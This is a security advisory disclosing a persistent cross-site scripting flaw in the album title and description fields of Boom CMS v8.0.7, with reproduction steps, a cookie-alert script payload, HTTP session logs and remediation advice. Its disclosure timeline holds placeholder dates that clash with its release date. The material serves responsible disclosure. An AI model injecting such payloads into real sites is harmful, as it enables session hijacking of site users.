Boom CMS v8.0.7 - Cross Site Scripting Vulnerability

[VULNERABILITYLAB]

Document Title:

Boom CMS v8.0.7 - Cross Site Scripting Vulnerability

References (Source):

https://www.vulnerability-lab.com/get_content.php?id=2274

Release Date:

2021-07-25

Vulnerability Laboratory ID (VL-ID):

2274

Common Vulnerability Scoring System:

4.3

Vulnerability Class:

Cross Site Scripting - Persistent

Current Estimated Price:

500€ - 1.000€

Product & Service Introduction:

Boom is a fully featured, easy to use CMS. More than 10 years, and many versions later, Boom is an intuitive, WYSIWYG CMS that makes life
easy for content editors and website managers. Working with BoomCMS is simple. It's easy and quick to learn and start creating content.
It gives editors control but doesn't require any technical knowledge.

(Copy of the Homepage: https://www.boomcms.net/boom-boom )

Abstract Advisory Information:

The vulnerability laboratory core research team discovered a persistent cross site vulnerability in the Boom CMS v8.0.7 web-application.

Affected Product(s):

UXB London
Product: Boom v8.0.7 - Content Management System (Web-Application)

Vulnerability Disclosure Timeline:

2020-07-24: Researcher Notification & Coordination (Security Researcher)
2020-07-25: Vendor Notification (Security Department)
2020-00-00: Vendor Response/Feedback (Security Department)
2020-00-00: Vendor Fix/Patch (Service Developer Team)
2020-00-00: Security Acknowledgements (Security Department)
2020-00-00: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Unpublished

Exploitation Technique:

Remote

Severity Level:

Medium

Authentication Type:

Restricted Authentication (User Privileges)

User Interaction:

Low User Interaction

Disclosure Type:

Responsible Disclosure

Technical Details & Description:

A persistent script code injection web vulnerability has been discovered in the official Boom CMS v8.0.7 web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The vulnerability is located in the input fields of the album title and album description in the asset-manager module.
Attackers with low privileges are able to add own malformed albums with malicious script code in the title and description.
After the inject the albums are being displayed in the backend were the execute takes place on preview of the main assets.
The attack vector of the vulnerability is persistent and the request method to inject is post. The validation tries to parse
the content by usage of a backslash. Thus does not have any impact to inject own malicious
java-scripts because of its only performed for double- and single-quotes to prevent sql injections.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent
external redirects to malicious source and non-persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] assets-manager (album)

Vulnerable Function(s):
[+] add

Vulnerable Parameter(s):
[+] title
[+] description

Affected Module(s):
[+] Frontend (Albums)
[+] Backend (Albums Assets)

Proof of Concept (PoC):

The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...

1. Login to the application as restricted user
2. Create a new album
3. Inject a test script code payload to title and description
4. Save the request
5. Preview frontend (albums) and backend (assets-manager & albums listing) to provoke the execution
6. Successful reproduce of the persistent cross site web vulnerability!

Payload(s):

<script>alert(document.cookie)</script>

test

--- PoC Session Logs (Inject) ---
https://localhost:8000/boomcms/album/35
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 263
Origin: https://localhost:8000
Connection: keep-alive
Referer: https://localhost:8000/boomcms/asset-manager/albums/[evil.source]
Sec-Fetch-Site: same-origin
{"asset_count":1,"id":35,"name":""><[INJECTED SCRIPT CODE PAYLOAD 1!]>","description":""><[INJECTED SCRIPT CODE PAYLOAD 2!]>",
"slug":"a","order":null,"site_id":1,"feature_image_id":401,"created_by":9,"deleted_by"
:null,"deleted_at":null,"created_at":"2021-xx-xx xx:x:x","updated_at":"2021-xx-xx xx:x:x"}

PUT: HTTP/1.1 200 OK
Server: Apache
Cache-Control: no-cache, private
Set-Cookie: Max-Age=7200; path=/
Cookie: laravel_session=eyJpdiI6ImVqSkTEJzQjlRPT0iLCJ2YWx1ZSI6IkxrdUZNWUF
VV1endrZk1TWkxxdnErTUFDY2pBS0JSYTVFakppRnNub1kwSkF6amQTYiLCJtY
yOTUyZTk3MjhlNzk1YWUzZWQ5NjNhNmRkZmNlMTk0NzQ5ZmQ2ZDAyZTED;
Max-Age=7200; path=/; httponly
Content-Length: 242
Connection: Keep-Alive
Content-Type: application/json

https://localhost:8000/boomcms/asset-manager/albums/[evil.source]
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: laravel_session=eyJpdiI6ImVqSkTEJzQjlRPT0iLCJ2YWx1ZSI6IkxrdUZNWUF
VV1endrZk1TWkxxdnErTUFDY2pBS0JSYTVFakppRnNub1kwSkF6amQTYiLCJtY
yOTUyZTk3MjhlNzk1YWUzZWQ5NjNhNmRkZmNlMTk0NzQ5ZmQ2ZDAyZTED;

GET: HTTP/1.1 200 OK
Server: Apache
Cache-Control: no-cache, private
Set-Cookie:
Vary: Accept-Encoding
Content-Length: 7866
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Vulnerable Source: asset-manager/albums/[ID]

[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 1!]

"><[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 2!]>

0 assets

</iframe>

    <div id="b-assets-view-asset-container"></div>
    <div id="b-assets-view-selection-container"></div>
    <div id="b-assets-view-album-container"><div><div id="b-assets-view-album">
    <div class="heading">
        <h1 class="bigger b-editable" contenteditable="true"><[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 1!]></h1>
        <p class="description b-editable" contenteditable="true"><[MALICIOUS INJECTED SCRIPT CODE PAYLOAD 2!]></p>
    </div>

Solution - Fix & Patch:

The vulnerability can be patched by a secure parse and encode of the vulnerable title and description parameters.
Restrict the input fields and disallow usage of special chars. Sanitize the output listing location to prevent further attacks.

Security Risk:

The security risk of the persistent input validation web vulnerability in the application is estimated as medium.

Credits & Authors:

Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab

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